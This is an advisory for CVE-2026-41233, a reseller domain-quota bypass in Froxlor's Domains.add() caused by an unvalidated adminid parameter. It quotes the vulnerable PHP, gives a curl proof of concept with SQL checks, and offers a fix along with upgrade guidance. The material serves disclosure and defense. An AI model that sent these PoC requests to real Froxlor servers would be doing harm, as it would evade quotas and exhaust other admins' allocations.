CVE-2026-41233: Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()
Summary
In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customersseeall permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domainsused counter is incremented) and potentially exhausting another admin's quota.
Details
In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:
php $adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));
The validation for this parameter only runs when the caller has customersseeall == '1' (lines 410-421):
php if ($this->getUserDetail('customersseeall') == '1' && $adminid != $this->getUserDetail('adminid')) { $adminstmt = Database::prepare(" SELECT FROM " . TABLEPANELADMINS . " WHERE adminid = :adminid AND (domainsused < domains OR domains = '-1')"); $admin = Database::pexecutefirst($adminstmt, [ 'adminid' => $adminid ], true, true); if (empty($admin)) { Response::dynamicError("Selected admin cannot have any more domains or could not be found"); } unset($admin); }
When a reseller does not have customersseeall (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:
1. The domain INSERT at line 757: 'adminid' => $adminid 2. The quota increment at lines 862-868: php $updstmt = Database::prepare(" UPDATE " . TABLEPANELADMINS . " SET domainsused = domainsused + 1 WHERE adminid = :adminid "); Database::pexecute($updstmt, ['adminid' => $adminid], true, true);
Compare with Domains.update() at lines 1386-1387 which correctly handles this case:
php } else { $adminid = $result['adminid']; }
The initial quota check at line 321 checks the caller's own quota ($this->getUserDetail('domainsused')), but since the caller's domainsused is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.
Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.
PoC
bash Step 1: Create a domain with the reseller's API key, specifying a different admin's ID curl -s -u RESELLERAPIKEY:RESELLERAPISECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'
Where: - RESELLERAPIKEY:RESELLERAPISECRET = API credentials for a reseller WITHOUT customersseeall - customerid=3 = one of the reseller's own customers - adminid=1 = the super-admin's ID (or any other admin's ID)
Step 2: Verify the domain was created with adminid=1 In the database: SELECT adminid, domain FROM paneldomains WHERE domain='bypass-test-1.com'; Expected: adminid=1
Step 3: Check the reseller's quota was NOT incremented In the database: SELECT adminid, domainsused, domains FROM paneladmins WHERE adminid=<resellerid>; Expected: domainsused unchanged
Step 4: Check the target admin's quota WAS incremented In the database: SELECT adminid, domainsused, domains FROM paneladmins WHERE adminid=1; Expected: domainsused incremented by 1
Step 5: Repeat with different domain names to demonstrate unlimited creation curl -s -u RESELLERAPIKEY:RESELLERAPISECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'
curl -s -u RESELLERAPIKEY:RESELLERAPISECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'
The reseller's domainsused remains unchanged, allowing indefinite creation
Impact
1. Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own domainsused counter is never incremented. 2. Quota exhaustion DoS: The target admin's domainsused counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation. 3. Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by adminid) but remain active on the server. 4. Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.
Recommended Fix
Add an else branch to force $adminid to the caller's own admin ID when customersseeall != '1', consistent with the pattern used in Domains.update():
php // In lib/Froxlor/Api/Commands/Domains.php, after line 421:
if ($this->getUserDetail('customersseeall') == '1' && $adminid != $this->getUserDetail('adminid')) { $adminstmt = Database::prepare(" SELECT FROM " . TABLEPANELADMINS . " WHERE adminid = :adminid AND (domainsused < domains OR domains = '-1')"); $admin = Database::pexecutefirst($adminstmt, [ 'adminid' => $adminid ], true, true); if (empty($admin)) { Response::dynamicError("Selected admin cannot have any more domains or could not be found"); } unset($admin); } else { // Force adminid to the caller's own ID when they don't have customersseeall $adminid = intval($this->getUserDetail('adminid')); }
Other sources
Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()
— Packagist
Froxlor is open source server administration software. Prior to version 2.3.6, in Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customersseeall permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domainsused counter is incremented) and potentially exhausting another admin's quota. Version 2.3.6 fixes the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/froxlor/froxlorto a version that resolves this vulnerability.Fixed in 2.3.6 - Upgrade
Upgrade
Froxlorto a version that resolves this vulnerability.Fixed in 2.3.6
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41233?
The severity of CVE-2026-41233 is classified as a medium risk due to the potential for Reseller Domain Quota Bypass.
How do I fix CVE-2026-41233?
To fix CVE-2026-41233, update Froxlor to version 2.3.6 or later.
What systems are affected by CVE-2026-41233?
CVE-2026-41233 affects all versions of Froxlor prior to 2.3.6.
What type of vulnerability is CVE-2026-41233?
CVE-2026-41233 is a security vulnerability related to improper input validation in the Domains.add() function.
Who should be concerned about CVE-2026-41233?
Administrators using Froxlor versions before 2.3.6 should be concerned about CVE-2026-41233.